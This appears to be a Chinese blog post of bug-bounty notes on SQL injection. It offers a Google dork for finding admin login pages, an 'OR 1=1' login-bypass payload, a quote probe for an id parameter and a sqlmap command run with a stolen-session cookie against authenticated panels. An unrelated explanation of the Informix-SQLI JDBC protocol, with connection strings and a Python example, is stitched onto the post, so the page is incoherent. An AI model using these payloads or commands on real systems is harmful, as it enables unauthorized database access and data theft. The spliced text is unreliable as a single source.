赏金猎人笔记-sqli几个小技巧

博客总结了几个信息技术相关技巧。一是通过google查找后台登陆界面,给出了有效率达60%的sqli的payload;二是针对不同情况提供了相应的SQL注入payload;三是对于位于需身份验证控制面板内的易受攻击目标,给出了尝试攻击的方法。

几个技巧小结

1.查找后台登陆界面: google: “www.target.com login”

有效率达到60%的一个sqli的payload:

2.sqli一个有效载荷: admin' OR 1=1- -'

3.对于类似这种: https://www.target/content/recapitulation.php?id=612
尝试 SQL 注入,使用的payload: (')

image

4.易受攻击的目标位于需要身份验证的控制面板内,可以使用:

Sqlmap -u “https://target.com/vulnerable/sqli/?id=1" -- cookie “you're cookie session”--dbs

1)始终尝试了解目标的每个参数和每个部分。
2)使用应用程序并尝试每个值和有效负载的孩子并检查结果。
3)永远不要失去希望,做你喜欢做的事情来忘记你的痛苦。

### Informix-SQLI 的定义与用途 #### 什么是 Informix-SQLI? Informix-SQLI 是 IBM Informix 数据库提供的一种网络协议,用于客户端应用程序通过 JDBC 或 ODBC 驱动程序访问 Informix 数据库服务器。它是一种基于 SQL 的接口,允许开发者执行查询、更新数据以及管理数据库对象。SQLI 协议的核心功能在于简化客户端与数据库之间的通信过程[^1]。 #### Informix-SQLI 的主要特点 - **高效的数据传输**:SQLI 使用二进制流来传递数据,相比纯文本方式更加快速和节省带宽。 - **跨平台支持**:无论是 Windows 还是 Unix/Linux 平台上的应用都可以利用 SQLI 来连接 Informix 数据库。 - **丰富的功能集**:除了基本的 CRUD 操作外,还支持事务处理、游标操作以及存储过程调用等功能[^2]。 #### Informix-SQLI 的具体作用 1. **远程数据库访问** 开发者可以通过 JDBC URL 中指定 `informix-sqli` 协议来实现对远端 Informix 数据库实例的安全访问。例如,在 FineReport 报表工具中配置如下连接字符串即可完成连接: ```plaintext jdbc:informix-sqli://ip:port/database_name:INFORMIXSERVER=server_name; DB_LOCALE=en_us.utf8;CLIENT_LOCALE=en_us.utf8 ``` 2. **解决字符集问题** 当遇到因字符编码差异而导致的乱码现象时(如 ISO8859-1 和 GBK 不兼容),可通过调整 JDBC 参数中的 `NEWCODESET` 属性加以修正。典型场景下需按照以下模板设定: ```plaintext NEWCODESET=JDK-Encoding,DB-Encoding,DB-Codeset-ID ``` 其中各字段含义分别为 Java 编程环境所使用的编码标准、目标数据库实际采用的字符集及其对应的数值 ID[^2]。 3. **增强安全性与稳定性** 利用 SSL/TLS 加密技术保护敏感信息在网络上传输期间免受窃听威胁;同时借助心跳检测机制维持长时间运行会话的有效性。 以下是使用 Python 脚本演示如何建立到 Informix 数据库的一个简单例子: ```python import jaydebeapi url = 'jdbc:informix-sqli://localhost:9088/testdb:INFORMIXSERVER=my_server' driver = 'com.informix.jdbc.IfxDriver' jar_file = '/path/to/informix-jdbc-driver.jar' conn_props = { 'user': 'my_user', 'password': 'my_password', 'DB_LOCALE': 'en_US.UTF-8', 'CLIENT_LOCALE': 'en_US.UTF-8', 'NEWCODESET': 'UTF-8,ISO8859-1,819' # Example of setting NEWCODESET parameter. } try: conn = jaydebeapi.connect(driver, url, conn_props, jar_file) cursor = conn.cursor() query = "SELECT * FROM employees LIMIT 5" cursor.execute(query) rows = cursor.fetchall() for row in rows: print(row) finally: if 'cursor' in locals(): cursor.close() if 'conn' in locals(): conn.close() ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值